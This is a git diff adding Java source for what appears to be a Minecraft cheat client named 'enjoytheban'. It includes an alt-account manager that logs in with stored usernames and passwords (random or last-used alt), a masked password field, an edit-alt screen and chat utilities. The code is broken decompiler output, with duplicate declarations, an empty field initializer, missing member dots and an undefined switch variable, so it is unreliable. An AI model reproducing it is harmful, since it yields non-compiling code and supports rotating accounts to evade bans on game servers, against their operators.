+      Client.instance.getAltManager();Alt randomAlt = (Alt)AltManager.alts.get(new Random().nextInt(AltManager.alts.size()));
+      String user1 = randomAlt.getUsername();
+      String pass1 = randomAlt.getPassword();
+      loginThread = new AltLoginThread(user1, pass1);
+      loginThread.start();
+      break;
+    case 6: 
+      mc.displayGuiScreen(new GuiRenameAlt(this));
+      break;
+    case 7: 
+      Client.instance.getAltManager();Alt lastAlt = AltManager.lastAlt;
+      if (lastAlt == null)
+      {
+        if (loginThread == null) {
+          status = "?cThere is no last used alt!";
+        } else {
+          loginThread.setStatus("?cThere is no last used alt!");
+        }
+      }
+      else
+      {
+        String user2 = lastAlt.getUsername();
+        String pass2 = lastAlt.getPassword();
+        loginThread = new AltLoginThread(user2, pass2);
+        loginThread.start();
+      }
+      break;
+    }
+    
+  }
+  
+  public void drawScreen(int par1, int par2, float par3)
+  {
+    drawDefaultBackground();
+    if (Mouse.hasWheel())
+    {
+      int wheel = Mouse.getDWheel();
+      if (wheel < 0)
+      {
+        offset += 26;
+        if (offset < 0) {
+          offset = 0;
+        }
+      }
+      else if (wheel > 0)
+      {
+        offset -= 26;
+        if (offset < 0) {
+          offset = 0;
+        }
+      }
+    }
+    drawDefaultBackground();
+    mcfontRendererObj.drawStringWithShadow(mcsession.getUsername(), 10.0F, 10.0F, 
+      -7829368);
+    
+    Client.instance.getAltManager();mcfontRendererObj.drawCenteredString("Account Manager - " + AltManager.getAlts().size() + " alts", 
+      width / 2, 10, -1);
+    mcfontRendererObj.drawCenteredString(loginThread == null ? status : 
+      loginThread.getStatus(), width / 2, 20, -1);
+    
+    GL11.glPushMatrix();
+    prepareScissorBox(0.0F, 33.0F, width, height - 50);
+    GL11.glEnable(3089);
+    int y = 38;
+    Client.instance.getAltManager(); for (Alt alt : AltManager.getAlts()) {
+      if (isAltInArea(y)) {
+        String name;
+        String name;
+        if (alt.getMask().equals("")) {
+          name = alt.getUsername();
+        } else {
+          name = alt.getMask();
+        }
+        String pass;
+        String pass;
+        if (alt.getPassword().equals("")) {
+          pass = "§cCracked";
+        } else {
+          pass = alt.getPassword().replaceAll(".", "*");
+        }
+        
+        if (alt == selectedAlt)
+        {
+          if ((isMouseOverAlt(par1, par2, y - offset)) && 
+            (Mouse.isButtonDown(0))) {
+            RenderUtil.drawBorderedRect(52.0F, y - offset - 4, 
+              width - 52, y - offset + 20, 1.0F, -16777216, 
+              -2142943931);
+          } else if (isMouseOverAlt(par1, par2, y - offset)) {
+            RenderUtil.drawBorderedRect(52.0F, y - offset - 4, 
+              width - 52, y - offset + 20, 1.0F, -16777216, 
+              -2142088622);
+          } else {
+            RenderUtil.drawBorderedRect(52.0F, y - offset - 4, 
+              width - 52, y - offset + 20, 1.0F, -16777216, 
+              -2144259791);
+          }
+        }
+        else if ((isMouseOverAlt(par1, par2, y - offset)) && 
+          (Mouse.isButtonDown(0))) {
+          RenderUtil.drawBorderedRect(52.0F, y - offset - 4, width - 52, y - 
+            offset + 20, 1.0F, -16777216, -2146101995);
+        } else if (isMouseOverAlt(par1, par2, y - offset)) {
+          RenderUtil.drawBorderedRect(52.0F, y - offset - 4, width - 52, y - 
+            offset + 20, 1.0F, -16777216, -2145180893);
+        }
+        mcfontRendererObj.drawCenteredString(name, width / 2, y - offset, 
+          -1);
+        mcfontRendererObj.drawCenteredString(pass, width / 2, y - offset + 
+          10, 5592405);
+        y += 26;
+      }
+    }
+    GL11.glDisable(3089);
+    GL11.glPopMatrix();
+    super.drawScreen(par1, par2, par3);
+    if (selectedAlt == null)
+    {
+      login.enabled = false;
+      remove.enabled = false;
+      rename.enabled = false;
+    }
+    else
+    {
+      login.enabled = true;
+      remove.enabled = true;
+      rename.enabled = true;
+    }
+    if (Keyboard.isKeyDown(200))
+    {
+      offset -= 26;
+      if (offset < 0) {
+        offset = 0;
+      }
+    }
+    else if (Keyboard.isKeyDown(208))
+    {
+      offset += 26;
+      if (offset < 0) {
+        offset = 0;
+      }
+    }
+  }
+  
+  public void initGui()
+  {
+    buttonList.add(new GuiButton(0, width / 2 + 4 + 76, 
+      height - 24, 75, 20, "Cancel"));
+    buttonList.add(this.login = new GuiButton(1, width / 2 - 154, 
+      height - 48, 70, 20, "Login"));
+    buttonList.add(this.remove = new GuiButton(2, width / 2 - 74, 
+      height - 24, 70, 20, "Remove"));
+    buttonList.add(new GuiButton(3, width / 2 + 4 + 76, 
+      height - 48, 75, 20, "Add"));
+    buttonList.add(new GuiButton(4, width / 2 - 74, 
+      height - 48, 70, 20, "Direct Login"));
+    buttonList.add(new GuiButton(5, width / 2 + 4, 
+      height - 48, 70, 20, "Random"));
+    buttonList.add(this.rename = new GuiButton(6, width / 2 + 4, 
+      height - 24, 70, 20, "Edit"));
+    buttonList.add(this.rename = new GuiButton(7, width / 2 - 154, 
+      height - 24, 70, 20, "Last Alt"));
+    
+
+    login.enabled = false;
+    remove.enabled = false;
+    rename.enabled = false;
+  }
+  
+  private boolean isAltInArea(int y)
+  {
+    return y - offset <= height - 50;
+  }
+  
+  private boolean isMouseOverAlt(int x, int y, int y1)
+  {
+    return (x >= 52) && (y >= y1 - 4) && (x <= width - 52) && (y <= y1 + 20) && 
+      (x >= 0) && (y >= 33) && (x <= width) && (y <= height - 50);
+  }
+  
+  protected void mouseClicked(int par1, int par2, int par3)
+  {
+    if (offset < 0) {
+      offset = 0;
+    }
+    int y = 38 - offset;
+    Client.instance.getAltManager(); for (Alt alt : AltManager.getAlts())
+    {
+      if (isMouseOverAlt(par1, par2, y))
+      {
+        if (alt == selectedAlt)
+        {
+          actionPerformed((GuiButton)buttonList.get(1));
+          return;
+        }
+        selectedAlt = alt;
+      }
+      y += 26;
+    }
+    try
+    {
+      super.mouseClicked(par1, par2, par3);
+    }
+    catch (IOException e)
+    {
+      e.printStackTrace();
+    }
+  }
+  
+  public void prepareScissorBox(float x, float y, float x2, float y2)
+  {
+    int factor = new ScaledResolution(mc).getScaleFactor();
+    GL11.glScissor((int)(x * factor), 
+      (int)((new ScaledResolution(mc).getScaledHeight() - y2) * factor), (int)((x2 - x) * factor), 
+      (int)((y2 - y) * factor));
+  }
+  
+  public void renderBackground(int par1, int par2)
+  {
+    GL11.glDisable(2929);
+    GL11.glDepthMask(false);
+    OpenGlHelper.glBlendFunc(770, 771, 1, 0);
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glDisable(3008);
+    drawDefaultBackground();
+    Tessellator var3 = Tessellator.instance;
+    var3.getWorldRenderer().startDrawingQuads();
+    var3.getWorldRenderer().addVertexWithUV(0.0D, par2, -90.0D, 0.0D, 1.0D);
+    var3.getWorldRenderer().addVertexWithUV(par1, par2, -90.0D, 1.0D, 1.0D);
+    var3.getWorldRenderer().addVertexWithUV(par1, 0.0D, -90.0D, 1.0D, 0.0D);
+    var3.getWorldRenderer().addVertexWithUV(0.0D, 0.0D, -90.0D, 0.0D, 0.0D);
+    var3.draw();
+    GL11.glDepthMask(true);
+    GL11.glEnable(2929);
+    GL11.glEnable(3008);
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/login/GuiPasswordField.java b/src/minecraft/com/enjoytheban/ui/login/GuiPasswordField.java
new file mode 100644
index 0000000..97d9160
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/login/GuiPasswordField.java
@@ -0,0 +1,571 @@
+package com.enjoytheban.ui.login;
+
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.Gui;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.util.ChatAllowedCharacters;
+import org.lwjgl.opengl.GL11;
+
+public final class GuiPasswordField
+  extends Gui
+{
+  private final int field_146209_f;
+  private final int field_146210_g;
+  private final FontRenderer field_146211_a;
+  private boolean field_146212_n = true;
+  private boolean field_146213_o;
+  private int field_146214_l;
+  private boolean field_146215_m = true;
+  private String field_146216_j = "";
+  private int field_146217_k = 32;
+  private final int field_146218_h;
+  private final int field_146219_i;
+  private boolean field_146220_v = true;
+  private int field_146221_u = 7368816;
+  private int field_146222_t = 14737632;
+  private int field_146223_s;
+  private int field_146224_r;
+  private int field_146225_q;
+  private boolean field_146226_p = true;
+  
+  public GuiPasswordField(FontRenderer p_i1032_1_, int p_i1032_2_, int p_i1032_3_, int p_i1032_4_, int p_i1032_5_)
+  {
+    field_146211_a = p_i1032_1_;
+    field_146209_f = p_i1032_2_;
+    field_146210_g = p_i1032_3_;
+    field_146218_h = p_i1032_4_;
+    field_146219_i = p_i1032_5_;
+  }
+  
+  public void drawTextBox()
+  {
+    if (func_146176_q())
+    {
+      if (func_146181_i())
+      {
+        drawRect(field_146209_f - 1, field_146210_g - 1, field_146209_f + 
+          field_146218_h + 1, field_146210_g + field_146219_i + 
+          1, -6250336);
+        drawRect(field_146209_f, field_146210_g, field_146209_f + 
+          field_146218_h, field_146210_g + field_146219_i, 
+          -16777216);
+      }
+      int var1 = field_146226_p ? field_146222_t : field_146221_u;
+      int var2 = field_146224_r - field_146225_q;
+      int var3 = field_146223_s - field_146225_q;
+      String var4 = field_146211_a.trimStringToWidth(
+        field_146216_j.substring(field_146225_q), func_146200_o());
+      boolean var5 = (var2 >= 0) && (var2 <= var4.length());
+      boolean var6 = (field_146213_o) && (field_146214_l / 6 % 2 == 0) && 
+        (var5);
+      int var7 = field_146215_m ? field_146209_f + 4 : 
+        field_146209_f;
+      int var8 = field_146215_m ? field_146210_g + 
+        (field_146219_i - 8) / 2 : field_146210_g;
+      int var9 = var7;
+      if (var3 > var4.length()) {
+        var3 = var4.length();
+      }
+      if (var4.length() > 0)
+      {
+        String var10 = var5 ? var4.substring(0, var2) : var4;
+        var9 = field_146211_a.drawString(
+          var10.replaceAll(".", "*"), var7, var8, var1);
+      }
+      boolean var13 = (field_146224_r < field_146216_j.length()) || (
+        field_146216_j.length() >= func_146208_g());
+      int var11 = var9;
+      if (!var5)
+      {
+        var11 = var2 > 0 ? var7 + field_146218_h : var7;
+      }
+      else if (var13)
+      {
+        var11 = var9 - 1;
+        var9--;
+      }
+      if ((var4.length() > 0) && (var5) && (var2 < var4.length())) {
+        field_146211_a.drawString(var4.substring(var2)
+          .replaceAll(".", "*"), var9, var8, var1);
+      }
+      if (var6) {
+        if (var13) {
+          Gui.drawRect(var11, var8 - 1, var11 + 1, var8 + 1 + 
+            field_146211_a.FONT_HEIGHT, -3092272);
+        } else {
+          field_146211_a.drawString("_", var11, var8, var1);
+        }
+      }
+      if (var3 != var2)
+      {
+        int var12 = var7 + 
+          field_146211_a.getStringWidth(var4.substring(0, var3)
+          .replaceAll(".", "*"));
+        func_146188_c(var11, var8 - 1, var12 - 1, var8 + 1 + 
+          field_146211_a.FONT_HEIGHT);
+      }
+    }
+  }
+  
+  public void func_146175_b(int p_146175_1_)
+  {
+    if (field_146216_j.length() != 0) {
+      if (field_146223_s != field_146224_r)
+      {
+        func_146191_b("");
+      }
+      else
+      {
+        boolean var2 = p_146175_1_ < 0;
+        int var3 = var2 ? field_146224_r + p_146175_1_ : 
+          field_146224_r;
+        int var4 = var2 ? field_146224_r : field_146224_r + 
+          p_146175_1_;
+        String var5 = "";
+        if (var3 >= 0) {
+          var5 = field_146216_j.substring(0, var3);
+        }
+        if (var4 < field_146216_j.length()) {
+          var5 = var5 + field_146216_j.substring(var4);
+        }
+        field_146216_j = var5;
+        if (var2) {
+          func_146182_d(p_146175_1_);
+        }
+      }
+    }
+  }
+  
+  public boolean func_146176_q()
+  {
+    return field_146220_v;
+  }
+  
+  public void func_146177_a(int p_146177_1_)
+  {
+    if (field_146216_j.length() != 0) {
+      if (field_146223_s != field_146224_r) {
+        func_146191_b("");
+      } else {
+        func_146175_b(func_146187_c(p_146177_1_) - field_146224_r);
+      }
+    }
+  }
+  
+  public boolean func_146181_i()
+  {
+    return field_146215_m;
+  }
+  
+  public void func_146182_d(int p_146182_1_)
+  {
+    func_146190_e(field_146223_s + p_146182_1_);
+  }
+  
+  public int func_146183_a(int p_146183_1_, int p_146183_2_)
+  {
+    return func_146197_a(p_146183_1_, func_146198_h(), true);
+  }
+  
+  public void func_146184_c(boolean p_146184_1_)
+  {
+    field_146226_p = p_146184_1_;
+  }
+  
+  public void func_146185_a(boolean p_146185_1_)
+  {
+    field_146215_m = p_146185_1_;
+  }
+  
+  public int func_146186_n()
+  {
+    return field_146223_s;
+  }
+  
+  public int func_146187_c(int p_146187_1_)
+  {
+    return func_146183_a(p_146187_1_, func_146198_h());
+  }
+  
+  private void func_146188_c(int p_146188_1_, int p_146188_2_, int p_146188_3_, int p_146188_4_)
+  {
+    if (p_146188_1_ < p_146188_3_)
+    {
+      int var5 = p_146188_1_;
+      p_146188_1_ = p_146188_3_;
+      p_146188_3_ = var5;
+    }
+    if (p_146188_2_ < p_146188_4_)
+    {
+      int var5 = p_146188_2_;
+      p_146188_2_ = p_146188_4_;
+      p_146188_4_ = var5;
+    }
+    if (p_146188_3_ > field_146209_f + field_146218_h) {
+      p_146188_3_ = field_146209_f + field_146218_h;
+    }
+    if (p_146188_1_ > field_146209_f + field_146218_h) {
+      p_146188_1_ = field_146209_f + field_146218_h;
+    }
+    WorldRenderer var2 = Tessellator.instance.getWorldRenderer();
+    GL11.glColor4f(0.0F, 0.0F, 255.0F, 255.0F);
+    GL11.glDisable(3553);
+    GL11.glEnable(3058);
+    GL11.glLogicOp(5387);
+    var2.startDrawingQuads();
+    var2.addVertex(p_146188_1_, p_146188_4_, 0.0D);
+    var2.addVertex(p_146188_3_, p_146188_4_, 0.0D);
+    var2.addVertex(p_146188_3_, p_146188_2_, 0.0D);
+    var2.addVertex(p_146188_1_, p_146188_2_, 0.0D);
+    var2.draw();
+    GL11.glDisable(3058);
+    GL11.glEnable(3553);
+  }
+  
+  public void func_146189_e(boolean p_146189_1_)
+  {
+    field_146220_v = p_146189_1_;
+  }
+  
+  public void func_146190_e(int p_146190_1_)
+  {
+    field_146224_r = p_146190_1_;
+    int var2 = field_146216_j.length();
+    if (field_146224_r < 0) {
+      field_146224_r = 0;
+    }
+    if (field_146224_r > var2) {
+      field_146224_r = var2;
+    }
+    func_146199_i(field_146224_r);
+  }
+  
+  public void func_146191_b(String p_146191_1_)
+  {
+    String var2 = "";
+    String var3 = 
+      ChatAllowedCharacters.filterAllowedCharacters(p_146191_1_);
+    int var4 = field_146224_r < field_146223_s ? field_146224_r : 
+      field_146223_s;
+    int var5 = field_146224_r < field_146223_s ? field_146223_s : 
+      field_146224_r;
+    int var6 = field_146217_k - field_146216_j.length() - (
+      var4 - field_146223_s);
+    if (field_146216_j.length() > 0)
+      var2 = var2 + field_146216_j.substring(0, var4);
+    int var8;
+    int var8;
+    if (var6 < var3.length())
+    {
+      var2 = var2 + var3.substring(0, var6);
+      var8 = var6;
+    }
+    else
+    {
+      var2 = var2 + var3;
+      var8 = var3.length();
+    }
+    if ((field_146216_j.length() > 0) && (var5 < field_146216_j.length())) {
+      var2 = var2 + field_146216_j.substring(var5);
+    }
+    field_146216_j = var2;
+    func_146182_d(var4 - field_146223_s + var8);
+  }
+  
+  public void func_146193_g(int p_146193_1_)
+  {
+    field_146222_t = p_146193_1_;
+  }
+  
+  public void func_146196_d()
+  {
+    func_146190_e(0);
+  }
+  
+  public int func_146197_a(int p_146197_1_, int p_146197_2_, boolean p_146197_3_)
+  {
+    int var4 = p_146197_2_;
+    boolean var5 = p_146197_1_ < 0;
+    int var6 = Math.abs(p_146197_1_);
+    for (int var7 = 0; var7 < var6; var7++) {
+      if (var5)
+      {
+        do
+        {
+          var4--;
+        } while ((!p_146197_3_) || (var4 <= 0) || 
+          (field_146216_j.charAt(var4 - 1) == ' '));
+        
+
+
+
+        do
+        {
+          var4--;
+          if (var4 <= 0) {
+            break;
+          }
+        } while (field_146216_j.charAt(var4 - 1) != ' ');
+      }
+      else
+      {
+        int var8 = field_146216_j.length();
+        var4 = field_146216_j.indexOf(' ', var4);
+        if (var4 == -1) {
+          var4 = var8;
+        } else {
+          while ((p_146197_3_) && (var4 < var8) && 
+            (field_146216_j.charAt(var4) == ' ')) {
+            var4++;
+          }
+        }
+      }
+    }
+    return var4;
+  }
+  
+  public int func_146198_h()
+  {
+    return field_146224_r;
+  }
+  
+  public void func_146199_i(int p_146199_1_)
+  {
+    int var2 = field_146216_j.length();
+    if (p_146199_1_ > var2) {
+      p_146199_1_ = var2;
+    }
+    if (p_146199_1_ < 0) {
+      p_146199_1_ = 0;
+    }
+    field_146223_s = p_146199_1_;
+    if (field_146211_a != null)
+    {
+      if (field_146225_q > var2) {
+        field_146225_q = var2;
+      }
+      int var3 = func_146200_o();
+      String var4 = field_146211_a.trimStringToWidth(
+        field_146216_j.substring(field_146225_q), var3);
+      int var5 = var4.length() + field_146225_q;
+      if (p_146199_1_ == field_146225_q) {
+        field_146225_q -= field_146211_a.trimStringToWidth(field_146216_j, var3, true).length();
+      }
+      if (p_146199_1_ > var5) {
+        field_146225_q += p_146199_1_ - var5;
+      } else if (p_146199_1_ <= field_146225_q) {
+        field_146225_q -= field_146225_q - p_146199_1_;
+      }
+      if (field_146225_q < 0) {
+        field_146225_q = 0;
+      }
+      if (field_146225_q > var2) {
+        field_146225_q = var2;
+      }
+    }
+  }
+  
+  public int func_146200_o()
+  {
+    return func_146181_i() ? field_146218_h - 8 : field_146218_h;
+  }
+  
+  public void func_146202_e()
+  {
+    func_146190_e(field_146216_j.length());
+  }
+  
+  public void func_146203_f(int p_146203_1_)
+  {
+    field_146217_k = p_146203_1_;
+    if (field_146216_j.length() > p_146203_1_) {
+      field_146216_j = field_146216_j.substring(0, p_146203_1_);
+    }
+  }
+  
+  public void func_146204_h(int p_146204_1_)
+  {
+    field_146221_u = p_146204_1_;
+  }
+  
+  public void func_146205_d(boolean p_146205_1_)
+  {
+    field_146212_n = p_146205_1_;
+  }
+  
+  public String func_146207_c()
+  {
+    int var1 = field_146224_r < field_146223_s ? field_146224_r : 
+      field_146223_s;
+    int var2 = field_146224_r < field_146223_s ? field_146223_s : 
+      field_146224_r;
+    return field_146216_j.substring(var1, var2);
+  }
+  
+  public int func_146208_g()
+  {
+    return field_146217_k;
+  }
+  
+  public String getText()
+  {
+    return field_146216_j;
+  }
+  
+  public boolean isFocused()
+  {
+    return field_146213_o;
+  }
+  
+  public void mouseClicked(int p_146192_1_, int p_146192_2_, int p_146192_3_)
+  {
+    boolean var4 = (p_146192_1_ >= field_146209_f) && 
+      (p_146192_1_ < field_146209_f + field_146218_h) && 
+      (p_146192_2_ >= field_146210_g) && (
+      p_146192_2_ < field_146210_g + field_146219_i);
+    if (field_146212_n) {
+      setFocused(var4);
+    }
+    if ((field_146213_o) && (p_146192_3_ == 0))
+    {
+      int var5 = p_146192_1_ - field_146209_f;
+      if (field_146215_m) {
+        var5 -= 4;
+      }
+      String var6 = field_146211_a.trimStringToWidth(
+        field_146216_j.substring(field_146225_q), func_146200_o());
+      func_146190_e(field_146211_a.trimStringToWidth(var6, var5).length() + 
+        field_146225_q);
+    }
+  }
+  
+  public void setFocused(boolean p_146195_1_)
+  {
+    if ((p_146195_1_) && (!field_146213_o)) {
+      field_146214_l = 0;
+    }
+    field_146213_o = p_146195_1_;
+  }
+  
+  public void setText(String p_146180_1_)
+  {
+    if (p_146180_1_.length() > field_146217_k) {
+      field_146216_j = p_146180_1_.substring(0, field_146217_k);
+    } else {
+      field_146216_j = p_146180_1_;
+    }
+    func_146202_e();
+  }
+  
+  public boolean textboxKeyTyped(char p_146201_1_, int p_146201_2_)
+  {
+    if (!field_146213_o) {
+      return false;
+    }
+    switch (p_146201_1_)
+    {
+    case '\001': 
+      func_146202_e();
+      func_146199_i(0);
+      return true;
+    case '\003': 
+      GuiScreen.setClipboardString(func_146207_c());
+      return true;
+    case '\026': 
+      if (field_146226_p) {
+        func_146191_b(GuiScreen.getClipboardString());
+      }
+      return true;
+    case '\030': 
+      GuiScreen.setClipboardString(func_146207_c());
+      if (field_146226_p) {
+        func_146191_b("");
+      }
+      return true;
+    }
+    switch (p_146201_2_)
+    {
+    case 14: 
+      if (GuiScreen.isCtrlKeyDown())
+      {
+        if (field_146226_p) {
+          func_146177_a(-1);
+        }
+      }
+      else if (field_146226_p) {
+        func_146175_b(-1);
+      }
+      return true;
+    case 199: 
+      if (GuiScreen.isShiftKeyDown()) {
+        func_146199_i(0);
+      } else {
+        func_146196_d();
+      }
+      return true;
+    case 203: 
+      if (GuiScreen.isShiftKeyDown())
+      {
+        if (GuiScreen.isCtrlKeyDown()) {
+          func_146199_i(func_146183_a(-1, func_146186_n()));
+        } else {
+          func_146199_i(func_146186_n() - 1);
+        }
+      }
+      else if (GuiScreen.isCtrlKeyDown()) {
+        func_146190_e(func_146187_c(-1));
+      } else {
+        func_146182_d(-1);
+      }
+      return true;
+    case 205: 
+      if (GuiScreen.isShiftKeyDown())
+      {
+        if (GuiScreen.isCtrlKeyDown()) {
+          func_146199_i(func_146183_a(1, func_146186_n()));
+        } else {
+          func_146199_i(func_146186_n() + 1);
+        }
+      }
+      else if (GuiScreen.isCtrlKeyDown()) {
+        func_146190_e(func_146187_c(1));
+      } else {
+        func_146182_d(1);
+      }
+      return true;
+    case 207: 
+      if (GuiScreen.isShiftKeyDown()) {
+        func_146199_i(field_146216_j.length());
+      } else {
+        func_146202_e();
+      }
+      return true;
+    case 211: 
+      if (GuiScreen.isCtrlKeyDown())
+      {
+        if (field_146226_p) {
+          func_146177_a(1);
+        }
+      }
+      else if (field_146226_p) {
+        func_146175_b(1);
+      }
+      return true;
+    }
+    if (ChatAllowedCharacters.isAllowedCharacter(p_146201_1_))
+    {
+      if (field_146226_p) {
+        func_146191_b(Character.toString(p_146201_1_));
+      }
+      return true;
+    }
+    return false;
+  }
+  
+  public void updateCursorCounter()
+  {
+    field_146214_l += 1;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/login/GuiRenameAlt.java b/src/minecraft/com/enjoytheban/ui/login/GuiRenameAlt.java
new file mode 100644
index 0000000..72f6e00
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/login/GuiRenameAlt.java
@@ -0,0 +1,88 @@
+package com.enjoytheban.ui.login;
+
+import com.enjoytheban.utils.Helper;
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.GuiTextField;
+
+public class GuiRenameAlt
+  extends GuiScreen
+{
+  private final GuiAltManager manager;
+  private GuiTextField nameField;
+  private String status = "§eWaiting...";
+  private GuiPasswordField pwField;
+  
+  public GuiRenameAlt(GuiAltManager manager) {
+    this.manager = manager;
+  }
+  
+  public void actionPerformed(GuiButton button)
+  {
+    switch (id)
+    {
+    case 1: 
+      mc.displayGuiScreen(manager);
+      break;
+    case 0: 
+      manager.selectedAlt.setMask(nameField.getText());
+      if (!pwField.getText().isEmpty())
+        manager.selectedAlt.setPassword(pwField.getText());
+      status = "§aEdited!";
+    }
+  }
+  
+  public void drawScreen(int par1, int par2, float par3)
+  {
+    drawDefaultBackground();
+    mcfontRendererObj.drawCenteredString("Edit Alt", width / 2, 10, -1);
+    mcfontRendererObj.drawCenteredString(status, width / 2, 20, -1);
+    nameField.drawTextBox();
+    pwField.drawTextBox();
+    if (nameField.getText().isEmpty())
+      mcfontRendererObj.drawStringWithShadow("New E-Mail", width / 2 - 96, 66.0F, -7829368);
+    if (pwField.getText().isEmpty())
+      mcfontRendererObj.drawStringWithShadow("New Password", width / 2 - 96, 106.0F, -7829368);
+    super.drawScreen(par1, par2, par3);
+  }
+  
+  public void initGui()
+  {
+    buttonList.add(new GuiButton(0, width / 2 - 100, height / 4 + 92 + 12, "Edit"));
+    buttonList.add(new GuiButton(1, width / 2 - 100, height / 4 + 116 + 12, "Cancel"));
+    nameField = new GuiTextField(eventButton, mc.fontRendererObj, width / 2 - 100, 60, 200, 20);
+    pwField = new GuiPasswordField(mc.fontRendererObj, width / 2 - 100, 100, 200, 20);
+  }
+  
+  protected void keyTyped(char par1, int par2)
+  {
+    nameField.textboxKeyTyped(par1, par2);
+    pwField.textboxKeyTyped(par1, par2);
+    if ((par1 == '\t') && ((nameField.isFocused()) || (pwField.isFocused())))
+    {
+      nameField.setFocused(!nameField.isFocused());
+      pwField.setFocused(!pwField.isFocused());
+    }
+    if (par1 == '\r') {
+      actionPerformed((GuiButton)buttonList.get(0));
+    }
+  }
+  
+  protected void mouseClicked(int par1, int par2, int par3)
+  {
+    try
+    {
+      super.mouseClicked(par1, par2, par3);
+    }
+    catch (IOException e)
+    {
+      e.printStackTrace();
+    }
+    nameField.mouseClicked(par1, par2, par3);
+    pwField.mouseClicked(par1, par2, par3);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/BlockUtil.java b/src/minecraft/com/enjoytheban/utils/BlockUtil.java
new file mode 100644
index 0000000..59c57f8
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/BlockUtil.java
@@ -0,0 +1,6 @@
+package com.enjoytheban.utils;
+
+public class BlockUtil
+{
+  public BlockUtil() {}
+}
diff --git a/src/minecraft/com/enjoytheban/utils/ChatUtils.java b/src/minecraft/com/enjoytheban/utils/ChatUtils.java
new file mode 100644
index 0000000..02d3ac8
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/ChatUtils.java
@@ -0,0 +1,104 @@
+package com.enjoytheban.utils;
+
+import com.enjoytheban.Client;
+import net.minecraft.client.Minecraft;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+
+public class ChatUtils
+{
+  private final ChatComponentText message;
+  
+  private ChatUtils(ChatComponentText message)
+  {
+    this.message = message;
+  }
+  
+  public static String addFormat(String message, String regex) {
+    return message.replaceAll("(?i)" + regex + "([0-9a-fklmnor])", "§$1");
+  }
+  
+  public void displayClientSided() {
+    getMinecraftthePlayer.addChatMessage(message);
+  }
+  
+  private ChatComponentText getChatComponent() {
+    return message;
+  }
+  
+
+
+
+
+
+
+
+  public static class ChatMessageBuilder
+  {
+    private static final EnumChatFormatting defaultMessageColor = EnumChatFormatting.WHITE;
+    private ChatComponentText theMessage;
+    private boolean useDefaultMessageColor;
+    
+    public ChatMessageBuilder(boolean prependDefaultPrefix, boolean useDefaultMessageColor) { theMessage = new ChatComponentText("");
+      this.useDefaultMessageColor = false;
+      workingStyle = new ChatStyle();
+      workerMessage = new ChatComponentText("");
+      if (prependDefaultPrefix) {
+        Client.instance.getClass();theMessage.appendSibling(new ChatMessageBuilder(false, false).appendText(String.valueOf(EnumChatFormatting.AQUA + "ETB" + " ")).setColor(EnumChatFormatting.RED).build().getChatComponent());
+      }
+      this.useDefaultMessageColor = useDefaultMessageColor; }
+    
+    private ChatStyle workingStyle;
+    private ChatComponentText workerMessage;
+    public ChatMessageBuilder() { theMessage = new ChatComponentText("");
+      useDefaultMessageColor = false;
+      workingStyle = new ChatStyle();
+      workerMessage = new ChatComponentText("");
+    }
+    
+    public ChatMessageBuilder appendText(String text) {
+      appendSibling();
+      workerMessage = new ChatComponentText(text);
+      workingStyle = new ChatStyle();
+      if (useDefaultMessageColor) {
+        setColor(defaultMessageColor);
+      }
+      return this;
+    }
+    
+    public ChatMessageBuilder setColor(EnumChatFormatting color) {
+      workingStyle.setColor(color);
+      return this;
+    }
+    
+    public ChatMessageBuilder bold() {
+      workingStyle.setBold(Boolean.valueOf(true));
+      return this;
+    }
+    
+    public ChatMessageBuilder italic() {
+      workingStyle.setItalic(Boolean.valueOf(true));
+      return this;
+    }
+    
+    public ChatMessageBuilder strikethrough() {
+      workingStyle.setStrikethrough(Boolean.valueOf(true));
+      return this;
+    }
+    
+    public ChatMessageBuilder underline() {
+      workingStyle.setUnderlined(Boolean.valueOf(true));
+      return this;
+    }
+    
+    public ChatUtils build() {
+      appendSibling();
+      return new ChatUtils(theMessage, null);
+    }
+    
+    private void appendSibling() {
+      theMessage.appendSibling(workerMessage.setChatStyle(workingStyle));
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/Helper.java b/src/minecraft/com/enjoytheban/utils/Helper.java
new file mode 100644
index 0000000..1d92190
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/Helper.java
@@ -0,0 +1,34 @@
+package com.enjoytheban.utils;
+
+import com.enjoytheban.Client;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.ServerData;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.EnumChatFormatting;
+
+public class Helper
+{
+  public static Minecraft mc = ;
+  
+  public Helper() {}
+  
+  public static void sendMessageOLD(String msg) { Object[] tmp16_13 = new Object[2];
+    Client.instance.getClass();tmp16_13[0] = (EnumChatFormatting.BLUE + "ETB" + EnumChatFormatting.GRAY + ": "); Object[] tmp58_16 = tmp16_13;tmp58_16[1] = msg;mcthePlayer.addChatMessage(new ChatComponentText(String.format("%s%s", tmp58_16)));
+  }
+  
+  public static void sendMessage(String message)
+  {
+    new ChatUtils.ChatMessageBuilder(true, true).appendText(message).setColor(EnumChatFormatting.GRAY).build().displayClientSided();
+  }
+  
+  public static void sendMessageWithoutPrefix(String message)
+  {
+    new ChatUtils.ChatMessageBuilder(false, true).appendText(message).setColor(EnumChatFormatting.GRAY).build().displayClientSided();
+  }
+  
+  public static boolean onServer(String server)
+  {
+    return (!mc.isSingleplayer()) && (mcgetCurrentServerDataserverIP.toLowerCase().contains(server));
+  }
+}
